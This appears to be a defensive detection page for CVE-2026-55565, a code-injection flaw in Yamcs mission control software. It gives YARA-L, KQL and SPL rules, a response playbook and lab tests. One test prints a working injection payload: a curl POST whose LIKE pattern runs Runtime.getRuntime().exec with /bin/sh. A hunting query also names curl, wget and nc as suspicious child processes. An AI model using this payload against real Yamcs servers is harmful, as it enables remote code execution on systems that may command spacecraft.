Detect Yamcs StreamSQL LIKE Pattern Janino Code Injection (CVE-2026-55565) in Google Chronicle
Detects exploitation of CVE-2026-55565, an authenticated remote code execution vulnerability in Yamcs (org.yamcs:yamcs-core) mission control software. StreamSQL queries containing a `LIKE` operator have their pattern string compiled into Java bytecode by the Janino compiler via `LikeExpression`. Because the pattern is not escaped before being embedded in generated Java source, an authenticated user who can issue StreamSQL (e.g. via the HTTP API `/api/archive/.../streamql`, WebSocket StreamSQL subscriptions, or the Yamcs web console SQL console) can inject arbitrary Java code that executes on the Yamcs server with the privileges of the Yamcs JVM process. This detection identifies StreamSQL `LIKE` clauses carrying Java code artifacts, anomalous child processes spawned from the Yamcs Java process, and suspicious HTTP requests to StreamSQL endpoints. Affected: >= 5.13.0 <= 5.13.1 and <= 5.12.7. Fixed in 5.12.8 and 5.13.2 (CVSS 9.9, CWE-94, PoC public).
MITRE ATT&CK
- Tactic
- Initial Access Execution
YARA-L Detection Query
rule yamcs_streamsql_janino_rce_cve_2026_55565 {
meta:
author = "Argus Detection Platform"
description = "Yamcs StreamSQL LIKE pattern Janino code injection (CVE-2026-55565)"
severity = "CRITICAL"
cve = "CVE-2026-55565"
events:
$e.metadata.event_type = "NETWORK_HTTP"
(
re.regex($e.network.http.referral_url, `(?i)stream(ql|sql)|/api/archive`) or
re.regex($e.target.url, `(?i)stream(ql|sql)|/api/archive`)
)
re.regex($e.target.url, `(?i)LIKE`)
re.regex($e.target.url, `(?i)getRuntime|ProcessBuilder|exec\(|new java`)
$e.principal.hostname = $host
match:
$host over 5m
condition:
$e
}YARA-L rule matching HTTP requests to Yamcs StreamSQL endpoints whose URL carries a LIKE pattern embedding Java runtime/exec constructs.
Data Sources
Required Tables
False Positives & Tuning
- Benign StreamSQL LIKE queries that reference Java class names without injection.
- Security scanner and CI validation traffic replaying the public PoC.
- Archive URLs where Java keywords appear in unrelated parameters.
Other platforms for CVE-2026-55565
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Yamcs StreamSQL LIKE Janino code injection via HTTP API (lab)
Expected signal: Yamcs HTTP API access log entry for POST /api/archive/instance1/streamql with a LIKE pattern containing Java constructs; process-creation event showing the Yamcs java process spawning /bin/sh.
- Test 2Yamcs JVM anomalous child process simulation
Expected signal: Process-creation events showing a java parent (yamcs command line) and a sh/whoami child writing a marker file.
- Test 3Benign StreamSQL LIKE query (false-positive baseline)
Expected signal: Yamcs HTTP API access log entry for a StreamSQL LIKE query containing only a normal parameter-name pattern and no Java constructs.
References (6)
- https://github.com/yamcs/yamcs/security/advisories/GHSA-c64q-hj4j-375f
- https://github.com/yamcs/yamcs/commit/640e1598b7097b521692e89dd47a39b6cb1fc663
- https://github.com/yamcs/yamcs/commit/a8fb4a0693fa62a6eb729b26016d1090dd8b289c
- https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8
- https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2
- https://github.com/advisories/GHSA-c64q-hj4j-375f
Response Playbook
Triage
- Confirm the Yamcs server version via `/api/general` or the deployed org.yamcs:yamcs-core artifact; determine whether it falls in the vulnerable ranges (>= 5.13.0 <= 5.13.1, or <= 5.12.7).
- Retrieve the full StreamSQL query text from Yamcs HTTP/API access logs or WebSocket logs for the flagged request and inspect the LIKE pattern for embedded Java constructs (getRuntime, ProcessBuilder, exec(, string concatenation with `"+`).
- Identify the authenticated Yamcs user/token that issued the query and correlate against expected operators; determine whether that account should be able to run StreamSQL at all.
- Check for anomalous child processes spawned by the Yamcs JVM around the request time and review their command lines and network connections.
Containment
- Isolate or restrict network access to the Yamcs server, especially the HTTP API and StreamSQL/WebSocket endpoints, until patched.
- Revoke or rotate the credentials/API tokens of the account that issued the malicious StreamSQL, and disable StreamSQL privileges for non-administrative roles.
- Upgrade Yamcs to 5.12.8 or 5.13.2 (per branch) which escape the LIKE pattern before Janino compilation.
Evidence Collection
- Preserve Yamcs HTTP/API/WebSocket access logs and the full StreamSQL query bodies, plus Yamcs server stdout/stderr and JVM logs.
- Capture process-creation telemetry (auditd/Sysmon/EDR) for the Yamcs java process and its descendants, including command lines, hashes, and network connections.
- Snapshot any files, cron jobs, or persistence created by spawned processes and preserve the Yamcs data directory for forensic review.
Escalation Criteria
- !Escalate to incident response if any child process of the Yamcs JVM executed shell commands, established outbound connections, or wrote persistence artifacts.
- !Escalate to mission-operations security leadership if the affected Yamcs instance controls live spacecraft/ground-segment command paths, given the integrity/availability impact.
- !Escalate if the issuing account is not a legitimate operator or if lateral movement from the Yamcs host is observed.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Yamcs HTTP/API/WebSocket access logs containing the StreamSQL LIKE query bodies - >
Yamcs JVM process tree and child-process command lines from auditd/Sysmon/EDR - >
Janino-generated temporary class files or compiler output in the Yamcs working/temp directory - >
Outbound network connections and dropped files created by spawned processes
Tuning Guidance
Baseline which Yamcs roles and accounts legitimately run StreamSQL and whether any deployed plugins intentionally spawn processes from the JVM; exclude those specific parent command lines. Tighten the Java-keyword match list (getRuntime, ProcessBuilder, exec() to reduce noise from benign archive queries, and prioritize alerts where a StreamSQL LIKE request is temporally followed by an anomalous JVM child process on the same host. After upgrading to 5.12.8/5.13.2, retain the process-spawn detection as a defense-in-depth backstop.
Hunting Queries
Hunts for Yamcs JVM shell children and StreamSQL LIKE queries embedding Java runtime/exec constructs across the environment.
DeviceProcessEvents | where InitiatingProcessFileName in~ ("java","java.exe") | where InitiatingProcessCommandLine has_any ("yamcs","org.yamcs") | where FileName in~ ("sh","bash","cmd.exe","powershell.exe","whoami","curl","wget","nc","python","python3") | project Timestamp, DeviceName, AccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLineindex=* (sourcetype="yamcs:httpd" OR sourcetype="yamcs:api") "LIKE" ("getRuntime" OR "ProcessBuilder" OR "exec(" OR "new java") | table _time, host, user, src_ip, uri_path, _rawAtomic Red Team Tests
Sends an authenticated StreamSQL query whose LIKE pattern embeds Java code that Janino compiles and executes, spawning a benign marker process. Lab-only against a vulnerable Yamcs instance you control.
Command
curl -s -k -H "Authorization: Bearer $YAMCS_TOKEN" -H 'Content-Type: application/json' -X POST "https://yamcs.lab.local:8090/api/archive/instance1/streamql" -d '{"query": "select * from tm where pname LIKE \"x\"+new String(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"touch /tmp/yamcs_cve_2026_55565.poc\"}).getInputStream())).readLine())+\"\""}'Cleanup
rm -f /tmp/yamcs_cve_2026_55565.pocExpected Telemetry
Yamcs HTTP API access log entry for POST /api/archive/instance1/streamql with a LIKE pattern containing Java constructs; process-creation event showing the Yamcs java process spawning /bin/sh.
Expected Detection
kql and spl network/HTTP rules match the StreamSQL LIKE Java-injection signature; process rules match the java->sh child process.
Simulates the post-exploitation footprint by launching a shell/whoami as a child of a java process carrying a yamcs command line, without exploiting the vulnerability.
Command
java -Dyamcs.instance=org.yamcs.YamcsServer -version 2>/dev/null; sh -c 'whoami; id > /tmp/yamcs_child_marker.txt'Cleanup
rm -f /tmp/yamcs_child_marker.txtExpected Telemetry
Process-creation events showing a java parent (yamcs command line) and a sh/whoami child writing a marker file.
Expected Detection
crowdstrike_cql, elastic_eql, and kql process rules match the Yamcs JVM spawning a shell/whoami child.
Issues a legitimate StreamSQL LIKE query with no Java code to validate that detections do not fire on normal usage.
Command
curl -s -k -H "Authorization: Bearer $YAMCS_TOKEN" -H 'Content-Type: application/json' -X POST "https://yamcs.lab.local:8090/api/archive/instance1/streamql" -d '{"query": "select * from tm where pname LIKE \"/YSS/SIMULATOR/%\""}'Cleanup
echo 'no cleanup required'Expected Telemetry
Yamcs HTTP API access log entry for a StreamSQL LIKE query containing only a normal parameter-name pattern and no Java constructs.
Expected Detection
No detection should fire; used to confirm the Java-keyword conditions suppress benign LIKE usage.